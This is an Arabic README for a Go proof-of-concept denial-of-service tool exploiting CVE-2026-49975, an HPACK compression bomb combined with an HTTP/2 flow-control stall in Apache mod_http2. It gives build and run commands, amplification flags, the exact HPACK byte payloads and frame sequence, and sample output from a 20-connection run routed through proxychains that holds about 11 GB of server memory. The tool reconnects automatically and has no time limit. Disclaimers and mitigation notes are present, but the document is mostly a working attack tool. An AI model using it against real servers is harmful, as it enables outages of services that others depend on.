
أداة بحث أمني لإثبات المفهوم لـ CVE-2026-49975: قنبلة ضغط HPACK في HTTP/2 + هجوم حجب التحكم في التدفق (DoS) في Apache mod_http2
إثبات مفهوم بحث أمني بواسطة naheeju
⚠️ هذه أداة عمل حقيقية لاستنزاف الذاكرة (DoS) — وليست لعبة. تفتح تدفقات تُجبر الهدف على تخصيص ذاكرة وتبقيها مفتوحة عبر حيل التحكم في التدفق في HTTP/2. طالما أن العملية قيد التشغيل، فإنها تستمر في التعليق وتعيد الاتصال تلقائيًا إذا أسقط الخادم الاتصال — ولا تتوقف من تلقاء نفسها. يتناسب التأثير طرديًا مع
--threadsو--streamsو. إيقاف العملية (Ctrl+C) يحرر التدفقات المعلقة ويسمح للخادم بالتعافي، لكن لا شيء في التشغيل الافتراضي "لطيف" — تعامل مع كل تشغيل كاختبار حي.
--headersCVE-2026-49975 ("قنبلة HTTP/2") هي ثغرة حجب خدمة (Denial-of-Service) عن بُعد وبدون مصادقة تؤثر على وحدة mod_http2 في خادم Apache HTTP. وهي تسلسل نقطتي ضعف معروفتين منذ زمن طويل في HTTP/2:
Cookie دون احتسابها ضمن LimitRequestFields، مما يُجبر الخادم على تخصيص الذاكرة بشكل متكرر لهياكل المحاسبة الداخلية للترويسات.النتيجة: يمكن لعميل واحد على اتصال متواضع أن يُجبر الهدف على تخصيص ذاكرة كبير ومستمر طالما بقي التدفق مفتوحًا. يدعم هذا التنفيذ وضعين للحمولة ويتوسع خطيًا مع التزامن الذي تُهيّئه:
nginx — يزرع ترويسة x-bomb فارغة في الجدول الديناميكي لـ HPACK ويعيد الإشارة إليها بشكل متكرر (تضخيم بنسبة ~70:1 لكل إشارة).classic — يزرع ترويسة cookie ضخمة الحجم بدلاً من ذلك (تضخيم بنسبة ~4000:1 لكل إشارة).كل اتصال يعيد الإشارة إلى الترويسة المزروعة آلاف المرات لكل تدفق (--headers، الافتراضي 5000)، عبر تدفقات متعددة لكل اتصال (--streams، الافتراضي 10) واتصالات متوازية متعددة (--threads، الافتراضي 1). إذا أغلق الخادم اتصالاً، فإن الأداة تعيد الاتصال فورًا وتستمر حتى يتم إيقافها يدويًا — هذه حلقة تعليق مستمر، وليست فحصًا لمرة واحدة.
معرّفات ذات صلة لمنصات أخرى متأثرة (غير منفذة أو مختبرة في هذا المستودع):
CVE-2026-47774النطاق الكامل لفئة الضعف الأساسية، من باب الاستيفاء — تقنية "قنبلة HTTP/2" (قنبلة ضغط HPACK + تعليق التحكم في التدفق) تؤثر على عدة تطبيقات خوادم إلى جانب Apache. هذا المستودع ينفذ ويختبر حالة Apache فقط؛ أما الباقي فمُدرج حتى يفهم القارئ الفئة الأوسع، وليس لأن هذا الإثبات يمارسها:
| التنفيذ | الحالة | منفذ في هذا الإثبات؟ |
|---|---|---|
Apache HTTP Server mod_http2 | مُصلح في httpd 2.4.68 (2026-06-08) | نعم — هذا المستودع |
| nginx | مُصلح في 1.29.8 | لا |
| Envoy | متتبع بشكل منفصل | لا |
| Microsoft IIS | متتبع بشكل منفصل | لا |
| Cloudflare Pingora | متتبع بشكل منفصل | لا |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (تخصيص ذاكرة بقيمة حجم مفرطة، وفقًا لـ NVD/CVE.org)؛ يُتتبع أيضًا كـ CWE-409 (معالجة غير صحيحة للبيانات عالية الضغط) من قبل بعض الموردين |
| CVSS | 7.5 (مرتفع) — CVSS v3.1، متجه يخص التوافر فقط (وفقًا لـ NVD). تقييم Apache نفسه يصنفه كمعتدل. |
| المكوّن المتأثر | Apache HTTP Server mod_http2 |
| الإصدارات المعرضة للخطر | Apache httpd 2.4.17 ≤ الإصدار ≤ 2.4.67 (إعداد HTTP/2 الافتراضي) |
| مُصلح في | Apache HTTP Server 2.4.68 (صدر في 2026-06-08). الإصلاح الأساسي وصل إلى المنبع في mod_h2 في 2026-05-27، ودُمج في فرع httpd 2.4.x في 2026-06-02، وشُحن في إصدار 2.4.68. |
| نوع الهجوم | حجب الخدمة — استنزاف الذاكرة (التوافر فقط) |
| يتطلب مصادقة | لا |
| كشف البيانات / تنفيذ كود عن بُعد | لا شيء — التأثير على التوافر فقط |
| استُغلّ فعليًا | غير مُصنّف حاليًا كـ مُستغل معروف في البرية من قبل المصادر المتتبعة. |
المراجع (المصادر الأولية — تحقق من جميع الادعاءات بشكل مستقل):
يحتوي هذا المستودع على:
هذا المستودع لا يحتوي على:
اقرأ هذا قبل فعل أي شيء آخر.
بتحميلك أو استنساخك أو تنفيذك أي كود في هذا المستودع، فإنك توافق على أنك المسؤول الوحيد عن ضمان حصولك على التفويض المناسب، وأنك تتحمل المسؤولية القانونية الكاملة عن استخدامك له.
CVE-2026-49975 ينطبق فقط على هدف يستوفي كلا المعيارين في القسم 1 — يمكن الوصول إليه عبر HTTP/2 و يشغّل إصدار mod_http2 معرضًا للخطر وضمن النطاق (2.4.17 ≤ الإصدار ≤ 2.4.67، الإعداد الافتراضي). أمر curl -vkI بسيط ضد منفذ HTTPS للهدف كافٍ للتحقق من كليهما — لا حاجة لماسح ضوئي أو أعلام إضافية:
curl -vkI https://<target>
ما يجب البحث عنه في المخرجات:
ALPN: server accepted h2 — تفاوض الخادم على HTTP/2 لهذا الاتصال. هذا هو الشرط المسبق لـ CVE-2026-49975، لأن الخطأ يكمن في mod_http2؛ الخادم الذي لم يقبل h2 هنا ليس مرشحًا.Server (تظهر بمجرد طباعة ترويسات استجابة HEAD، في الأسفل ضمن مخرجات -v) — هذا ما يؤكد أو يستبعد إصدار Apache/mod_http2 الفعلي مقابل النطاق المعرض للخطر في القسم 1. قبول ALPN وحده لا يؤكد الإصدار — لا يزال ذلك يتطلب ترويسة Server أو فحص بانر مكافئ.لا شيء يتجاوز هذا يُستخدم للاستطلاع في هذا المستودع — لا حركة استغلال نشطة، ولا ماسحات ثغرات، ولا مسح للمنافذ.
cve202649975)golang.org/x/net v0.59.0 (تُحل تلقائيًا عبر go build)443، TLS/h2 افتراضيًا؛ --no-ssl لـ h2c نصي صريح)proxychains4، فإنه يكتشف غلاف LD_PRELOAD، ويقرأ نفس proxychains4.conf، ويوجّه اتصالاته الخاصة عبر وكيل SOCKS5 ذلك (حل DNS عن بُعد) — مفيد عندما يتطلب نطاق المهمة الاختبار من مسار خروج محددالجدول الزمني العام لـ CVE-2026-49975 نفسه: أُبلغ إلى Apache في 2026-05-26؛ وصل الإصلاح إلى المنبع في
mod_h2في 2026-05-27؛ دُمج في فرع httpd 2.4.x في 2026-06-02؛ صدر Apache HTTP Server 2.4.68 في 2026-06-08.
شغّل هذا فقط ضد هدف مصرّح لك صراحةً باختباره. لا يوجد حد مدة مدمج أو وضع آمن — أنت مسؤول عن مدة تشغيله ومستوى التزامنه.
البناء:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
التشغيل:
./dos <target> <port> [flags]
| العلم | الافتراضي | الوصف |
|---|---|---|
--threads N | 1 | اتصالات متوازية |
--streams N | 10 | التدفقات المفتوحة لكل اتصال |
--headers N | 5000 | إشارات الجدول الديناميكي لـ HPACK لكل تدفق (محرك التضخيم) |
--mode nginx|classic | nginx | nginx = قنبلة محاسبة ترويسة فارغة (~70:1)؛ classic = قنبلة كوكي ضخم (~4000:1، يطابق آلية دمج Cookie في Apache mod_http2 التي يُتتبع هذا الـ CVE من أجلها) |
--no-ssl | معطّل | استخدام h2c نصي صريح بدلاً من TLS |
مثال، اختبار مختبري مصرّح به بسيط:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
السلوك المتوقع:
WINDOW_UPDATE بحجم 1 بايت ونبضات دورية؛ يعيد الاتصال تلقائيًا ويكرر إذا أغلق الخادم الاتصال.Ctrl+C / SIGTERM — خطط نافذة اختبارك وفقًا لذلك وراقب ذاكرة الهدف في الوقت الفعلي.--streams/--headers قبل أي اختبار إنتاجي مصرّح به، وكن مستعدًا بخطة تراجع/إعادة تشغيل لخدمة الهدف على أي حال.صيغة تقريبية لذاكرة جانب الخادم لوضعي هذه الأداة (Apache mod_http2 فقط — راجع القسم 1 لمعرفة كيف يرتبط nginx/classic بنسبة التضخيم):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
ارفع threads/streams/headers وسينمو الرقم خطيًا — لهذا يجب أن يبدأ اختبار مختبري مصرّح به بقيم منخفضة (راجع القسم 7) قبل أي تشغيل في نطاق إنتاجي.
يوثق هذا الآلية التي ينفذها هذا الإثبات تحديدًا ضد Apache mod_http2 — ولا يمتد إلى تطبيقات خوادم أخرى، وهي خارج نطاق هذا المستودع (راجع القسم 2).
بذرة الجدول الديناميكي لـ HPACK (فهرسة تزايدية، تضيف مدخلاً عند الفهرس 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
إشارة مفهرسة إلى ذلك المدخل (بايت واحد لكل منها، مكررة --headers مرة):
0x80 | 62 = 0xbe
تسلسل إطارات HTTP/2 لكل اتصال:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
تكلفة الشبكة صغيرة وثابتة تقريبًا لكل تدفق (حفنة بايتات للبذرة + بايت واحد لكل إشارة)؛ أما التخصيص على جانب الخادم فهو ما ينمو بشكل غير متناسب — تلك الفجوة هي الثغرة.
مخرجات من تشغيل مختبري مصرّح به، وضع classic، 20 اتصالاً × 30 تدفقًا/اتصال، 5000 إشارة HPACK/تدفق، موجّه عبر proxychains:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
كل اتصال يُبلّغ بشكل مستقل عن مساهمته المحلية في الذاكرة أثناء فتح التدفقات (~572 ميجابايت لكل اتصال بهذه الإعدادات)؛ رقم Est. server RAM قبل التنفيذ هو الإجمالي عبر جميع الاتصالات العشرين (~11.4 جيجابايت) بمجرد أن يكون كل اتصال مفتوحًا بالكامل ومعلقًا.
domain.comأعلاه هو عنصر نائب — استبدله بهدفك المصرّح به الفعلي عند توثيق تشغيلك الخاص، واحجبه إذا كانت المهمة سرية.
LimitRequestFields بقيمة متحفظة وراقب سلوك دمج الترويسات.الاكتشاف الأصلي للثغرة والإفصاح عنها لـ Apache (لا علاقة له بهذا المستودع أو مؤلفه):
هذا المستودع (إعادة تنفيذ بلغة Go، كُتب واختُبر بعد صدور الإصلاح العام):
أسئلة أو تصحيحات أو مخاوف متعلقة بالإفصاح المسؤول حول هذا الإثبات تحديدًا: افتح issue على هذا المستودع.
الترخيص: MIT (كود هذا المستودع فقط — راجع LICENSE). لا يمتد إلى، ولا يعني تأييدًا من، المكتشفين الأصليين أو مؤسسة Apache Software Foundation.